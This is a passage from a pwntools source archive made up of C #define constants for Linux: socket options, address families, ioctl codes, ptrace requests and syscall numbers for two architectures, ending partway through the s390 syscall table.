_PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FILE 0 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define SYS_accept 202 #define SYS_accept4 242 #define SYS_acct 89 #define SYS_add_key 217 #define SYS_adjtimex 171 #define SYS_arch_specific_syscall 244 #define SYS_bind 200 #define SYS_bpf 280 #define SYS_brk 214 #define SYS_capget 90 #define SYS_capset 91 #define SYS_chdir 49 #define SYS_chroot 51 #define SYS_clock_adjtime 266 #define SYS_clock_getres 114 #define SYS_clock_gettime 113 #define SYS_clock_nanosleep 115 #define SYS_clock_settime 112 #define SYS_clone 220 #define SYS_clone3 435 #define SYS_close 57 #define SYS_close_range 436 #define SYS_connect 203 #define SYS_copy_file_range 285 #define SYS_delete_module 106 #define SYS_dup 23 #define SYS_dup3 24 #define SYS_epoll_create1 20 #define SYS_epoll_ctl 21 #define SYS_epoll_pwait 22 #define SYS_epoll_pwait2 441 #define SYS_eventfd2 19 #define SYS_execve 221 #define SYS_execveat 281 #define SYS_exit 93 #define SYS_exit_group 94 #define SYS_faccessat 48 #define SYS_faccessat2 439 #define SYS_fadvise64 223 #define SYS_fallocate 47 #define SYS_fanotify_init 262 #define SYS_fanotify_mark 263 #define SYS_fchdir 50 #define SYS_fchmod 52 #define SYS_fchmodat 53 #define SYS_fchown 55 #define SYS_fchownat 54 #define SYS_fcntl 25 #define SYS_fdatasync 83 #define SYS_fgetxattr 10 #define SYS_finit_module 273 #define SYS_flistxattr 13 #define SYS_flock 32 #define SYS_fremovexattr 16 #define SYS_fsconfig 431 #define SYS_fsetxattr 7 #define SYS_fsmount 432 #define SYS_fsopen 430 #define SYS_fspick 433 #define SYS_fstat 80 #define SYS_fstatfs 44 #define SYS_fsync 82 #define SYS_ftruncate 46 #define SYS_futex 98 #define SYS_getcpu 168 #define SYS_getcwd 17 #define SYS_getdents64 61 #define SYS_getegid 177 #define SYS_geteuid 175 #define SYS_getgid 176 #define SYS_getgroups 158 #define SYS_getitimer 102 #define SYS_get_mempolicy 236 #define SYS_getpeername 205 #define SYS_getpgid 155 #define SYS_getpid 172 #define SYS_getppid 173 #define SYS_getpriority 141 #define SYS_getrandom 278 #define SYS_getresgid 150 #define SYS_getresuid 148 #define SYS_getrlimit 163 #define SYS_get_robust_list 100 #define SYS_getrusage 165 #define SYS_getsid 156 #define SYS_getsockname 204 #define SYS_getsockopt 209 #define SYS_gettid 178 #define SYS_gettimeofday 169 #define SYS_getuid 174 #define SYS_getxattr 8 #define SYS_init_module 105 #define SYS_inotify_add_watch 27 #define SYS_inotify_init1 26 #define SYS_inotify_rm_watch 28 #define SYS_io_cancel 3 #define SYS_ioctl 29 #define SYS_io_destroy 1 #define SYS_io_getevents 4 #define SYS_io_pgetevents 292 #define SYS_ioprio_get 31 #define SYS_ioprio_set 30 #define SYS_io_setup 0 #define SYS_io_submit 2 #define SYS_io_uring_enter 426 #define SYS_io_uring_register 427 #define SYS_io_uring_setup 425 #define SYS_kcmp 272 #define SYS_kexec_file_load 294 #define SYS_kexec_load 104 #define SYS_keyctl 219 #define SYS_kill 129 #define SYS_landlock_add_rule 445 #define SYS_landlock_create_ruleset 444 #define SYS_landlock_restrict_self 446 #define SYS_lgetxattr 9 #define SYS_linkat 37 #define SYS_listen 201 #define SYS_listxattr 11 #define SYS_llistxattr 12 #define SYS_lookup_dcookie 18 #define SYS_lremovexattr 15 #define SYS_lseek 62 #define SYS_lsetxattr 6 #define SYS_madvise 233 #define SYS_mbind 235 #define SYS_membarrier 283 #define SYS_memfd_create 279 #define SYS_migrate_pages 238 #define SYS_mincore 232 #define SYS_mkdirat 34 #define SYS_mknodat 33 #define SYS_mlock 228 #define SYS_mlock2 284 #define SYS_mlockall 230 #define SYS_mmap 222 #define SYS_mount 40 #define SYS_mount_setattr 442 #define SYS_move_mount 429 #define SYS_move_pages 239 #define SYS_mprotect 226 #define SYS_mq_getsetattr 185 #define SYS_mq_notify 184 #define SYS_mq_open 180 #define SYS_mq_timedreceive 183 #define SYS_mq_timedsend 182 #define SYS_mq_unlink 181 #define SYS_mremap 216 #define SYS_msgctl 187 #define SYS_msgget 186 #define SYS_msgrcv 188 #define SYS_msgsnd 189 #define SYS_msync 227 #define SYS_munlock 229 #define SYS_munlockall 231 #define SYS_munmap 215 #define SYS_name_to_handle_at 264 #define SYS_nanosleep 101 #define SYS_newfstatat 79 #define SYS_nfsservctl 42 #define SYS_openat 56 #define SYS_openat2 437 #define SYS_open_by_handle_at 265 #define SYS_open_tree 428 #define SYS_perf_event_open 241 #define SYS_personality 92 #define SYS_pidfd_getfd 438 #define SYS_pidfd_open 434 #define SYS_pidfd_send_signal 424 #define SYS_pipe2 59 #define SYS_pivot_root 41 #define SYS_pkey_alloc 289 #define SYS_pkey_free 290 #define SYS_pkey_mprotect 288 #define SYS_ppoll 73 #define SYS_prctl 167 #define SYS_pread64 67 #define SYS_preadv 69 #define SYS_preadv2 286 #define SYS_prlimit64 261 #define SYS_process_madvise 440 #define SYS_process_vm_readv 270 #define SYS_process_vm_writev 271 #define SYS_pselect6 72 #define SYS_ptrace 117 #define SYS_pwrite64 68 #define SYS_pwritev 70 #define SYS_pwritev2 287 #define SYS_quotactl 60 #define SYS_read 63 #define SYS_readahead 213 #define SYS_readlinkat 78 #define SYS_readv 65 #define SYS_reboot 142 #define SYS_recvfrom 207 #define SYS_recvmmsg 243 #define SYS_recvmsg 212 #define SYS_remap_file_pages 234 #define SYS_removexattr 14 #define SYS_renameat2 276 #define SYS_request_key 218 #define SYS_restart_syscall 128 #define SYS_riscv_flush_icache (244 + 15) #define SYS_rseq 293 #define SYS_rt_sigaction 134 #define SYS_rt_sigpending 136 #define SYS_rt_sigprocmask 135 #define SYS_rt_sigqueueinfo 138 #define SYS_rt_sigreturn 139 #define SYS_rt_sigsuspend 133 #define SYS_rt_sigtimedwait 137 #define SYS_rt_tgsigqueueinfo 240 #define SYS_sched_getaffinity 123 #define SYS_sched_getattr 275 #define SYS_sched_getparam 121 #define SYS_sched_get_priority_max 125 #define SYS_sched_get_priority_min 126 #define SYS_sched_getscheduler 120 #define SYS_sched_rr_get_interval 127 #define SYS_sched_setaffinity 122 #define SYS_sched_setattr 274 #define SYS_sched_setparam 118 #define SYS_sched_setscheduler 119 #define SYS_sched_yield 124 #define SYS_seccomp 277 #define SYS_semctl 191 #define SYS_semget 190 #define SYS_semop 193 #define SYS_semtimedop 192 #define SYS_sendfile 71 #define SYS_sendmmsg 269 #define SYS_sendmsg 211 #define SYS_sendto 206 #define SYS_setdomainname 162 #define SYS_setfsgid 152 #define SYS_setfsuid 151 #define SYS_setgid 144 #define SYS_setgroups 159 #define SYS_sethostname 161 #define SYS_setitimer 103 #define SYS_set_mempolicy 237 #define SYS_setns 268 #define SYS_setpgid 154 #define SYS_setpriority 140 #define SYS_setregid 143 #define SYS_setresgid 149 #define SYS_setresuid 147 #define SYS_setreuid 145 #define SYS_setrlimit 164 #define SYS_set_robust_list 99 #define SYS_setsid 157 #define SYS_setsockopt 208 #define SYS_set_tid_address 96 #define SYS_settimeofday 170 #define SYS_setuid 146 #define SYS_setxattr 5 #define SYS_shmat 196 #define SYS_shmctl 195 #define SYS_shmdt 197 #define SYS_shmget 194 #define SYS_shutdown 210 #define SYS_sigaltstack 132 #define SYS_signalfd4 74 #define SYS_socket 198 #define SYS_socketpair 199 #define SYS_splice 76 #define SYS_statfs 43 #define SYS_statx 291 #define SYS_swapoff 225 #define SYS_swapon 224 #define SYS_symlinkat 36 #define SYS_sync 81 #define SYS_sync_file_range 84 #define SYS_syncfs 267 #define SYS_sysinfo 179 #define SYS_syslog 116 #define SYS_sysriscv 244 #define SYS_tee 77 #define SYS_tgkill 131 #define SYS_timer_create 107 #define SYS_timer_delete 111 #define SYS_timerfd_create 85 #define SYS_timerfd_gettime 87 #define SYS_timerfd_settime 86 #define SYS_timer_getoverrun 109 #define SYS_timer_gettime 108 #define SYS_timer_settime 110 #define SYS_times 153 #define SYS_tkill 130 #define SYS_truncate 45 #define SYS_umask 166 #define SYS_umount2 39 #define SYS_uname 160 #define SYS_unlinkat 35 #define SYS_unshare 97 #define SYS_userfaultfd 282 #define SYS_utimensat 88 #define SYS_vhangup 58 #define SYS_vmsplice 75 #define SYS_wait4 260 #define SYS_waitid 95 #define SYS_write 64 #define SYS_writev 66 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/s390.h000066400000000000000000001244071507273764500242320ustar00rootroot00000000000000#define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_restart_syscall 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_pause 29 #define __NR_utime 30 #define __NR_access 33 #define __NR_nice 34 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_brk 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_setpgid 57 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_sigaction 67 #define __NR_setreuid 70 #define __NR_setregid 71 #define __NR_sigsuspend 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define __NR_setrlimit 75 #define __NR_getrlimit 76 #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_getgroups 80 #define __NR_setgroups 81 #define __NR_symlink 83 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_readdir 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_fchown 95 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_ioperm 101 #define __NR_socketcall 102 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_stat 106 #define __NR_lstat 107 #define __NR_fstat 108 #define __NR_lookup_dcookie 110 #define __NR_vhangup 111 #define __NR_idle 112 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_ipc 117 #define __NR_fsync 118 #define __NR_sigreturn 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_uname 122 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_create_module 127 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_get_kernel_syms 130 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_afs_syscall 137 #define __NR_setfsuid 138 #define __NR_setfsgid 139 #define __NR__llseek 140 #define __NR_getdents 141 #define __NR__newselect 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_setresuid 164 #define __NR_getresuid 165 #define __NR_query_module 167 #define __NR_poll 168 #define __NR_nfsservctl 169 #define __NR_setresgid 170 #define __NR_getresgid 171 #define __NR_prctl 172 #define __NR_rt_sigreturn 173 #define __NR_rt_sigaction 174 #define __NR_rt_sigprocmask 175 #define __NR_rt_sigpending 176 #define __NR_rt_sigtimedwait 177 #define __NR_rt_sigqueueinfo 178 #define __NR_rt_sigsuspend 179 #define __NR_pread64 180 #define __NR_pwrite64 181 #define __NR_chown 182 #define __NR_getcwd 183 #define __NR_capget 184 #define __NR_capset 185 #define __NR_sigaltstack 186 #define __NR_sendfile 187 #define __NR_getpmsg 188 #define __NR_putpmsg 189 #define __NR_vfork 190 #define __NR_ugetrlimit 191 #define __NR_mmap2 192 #define __NR_truncate64 193 #define __NR_ftruncate64 194 #define __NR_stat64 195 #define __NR_lstat64 196 #define __NR_fstat64 197 #define __NR_lchown32 198 #define __NR_getuid32 199 #define __NR_getgid32 200 #define __NR_geteuid32 201 #define __NR_getegid32 202 #define __NR_setreuid32 203 #define __NR_setregid32 204 #define __NR_getgroups32 205 #define __NR_setgroups32 206 #define __NR_fchown32 207 #define __NR_setresuid32 208 #define __NR_getresuid32 209 #define __NR_setresgid32 210 #define __NR_getresgid32 211 #define __NR_chown32 212 #define __NR_setuid32 213 #define __NR_setgid32 214 #define __NR_setfsuid32 215 #define __NR_setfsgid32 216 #define __NR_pivot_root 217 #define __NR_mincore 218 #define __NR_madvise 219 #define __NR_getdents64 220 #define __NR_fcntl64 221 #define __NR_readahead 222 #define __NR_sendfile64 223 #define __NR_setxattr 224 #define __NR_lsetxattr 225 #define __NR_fsetxattr 226 #define __NR_getxattr 227 #define __NR_lgetxattr 228 #define __NR_fgetxattr 229 #define __NR_listxattr 230 #define __NR_llistxattr 231 #define __NR_flistxattr 232 #define __NR_removexattr 233 #define __NR_lremovexattr 234 #define __NR_fremovexattr 235 #define __NR_gettid 236 #define __NR_tkill 237 #define __NR_futex 238 #define __NR_sched_setaffinity 239 #define __NR_sched_getaffinity 240 #define __NR_tgkill 241 #define __NR_io_setup 243 #define __NR_io_destroy 244 #define __NR_io_getevents 245 #define __NR_io_submit 246 #define __NR_io_cancel 247 #define __NR_exit_group 248 #define __NR_epoll_create 249 #define __NR_epoll_ctl 250 #define __NR_epoll_wait 251 #define __NR_set_tid_address 252 #define __NR_fadvise64 253 #define __NR_timer_create 254 #define __NR_timer_settime (254+1) #define __NR_timer_gettime (254+2) #define __NR_timer_getoverrun (254+3) #define __NR_timer_delete (254+4) #define __NR_clock_settime (254+5) #define __NR_clock_gettime (254+6) #define __NR_clock_getres (254+7) #define __NR_clock_nanosleep (254+8) #define __NR_fadvise64_64 264 #define __NR_statfs64 265 #define __NR_fstatfs64 266 #define __NR_remap_file_pages 267 #define __NR_mbind 268 #define __NR_get_mempolicy 269 #define __NR_set_mempolicy 270 #define __NR_mq_open 271 #define __NR_mq_unlink 272 #define __NR_mq_timedsend 273 #define __NR_mq_timedreceive 274 #define __NR_mq_notify 275 #define __NR_mq_getsetattr 276 #define __NR_kexec_load 277 #define __NR_add_key 278 #define __NR_request_key 279 #define __NR_keyctl 280 #define __NR_waitid 281 #define __NR_ioprio_set 282 #define __NR_ioprio_get 283 #define __NR_inotify_init 284 #define __NR_inotify_add_watch 285 #define __NR_inotify_rm_watch 286 #define __NR_migrate_pages 287 #define __NR_openat 288 #define __NR_mkdirat 289 #define __NR_mknodat 290 #define __NR_fchownat 291 #define __NR_futimesat 292 #define __NR_fstatat64 293 #define __NR_unlinkat 294 #define __NR_renameat 295 #define __NR_linkat 296 #define __NR_symlinkat 297 #define __NR_readlinkat 298 #define __NR_fchmodat 299 #define __NR_faccessat 300 #define __NR_pselect6 301 #define __NR_ppoll 302 #define __NR_unshare 303 #define __NR_set_robust_list 304 #define __NR_get_robust_list 305 #define __NR_splice 306 #define __NR_sync_file_range 307 #define __NR_tee 308 #define __NR_vmsplice 309 #define __NR_move_pages 310 #define __NR_getcpu 311 #define __NR_epoll_pwait 312 #define __NR_utimes 313 #define __NR_fallocate 314 #define __NR_utimensat 315 #define __NR_signalfd 316 #define __NR_timerfd 317 #define __NR_eventfd 318 #define __NR_timerfd_create 319 #define __NR_timerfd_settime 320 #define __NR_timerfd_gettime 321 #define __NR_signalfd4 322 #define __NR_eventfd2 323 #define __NR_inotify_init1 324 #define __NR_pipe2 325 #define __NR_dup3 326 #define 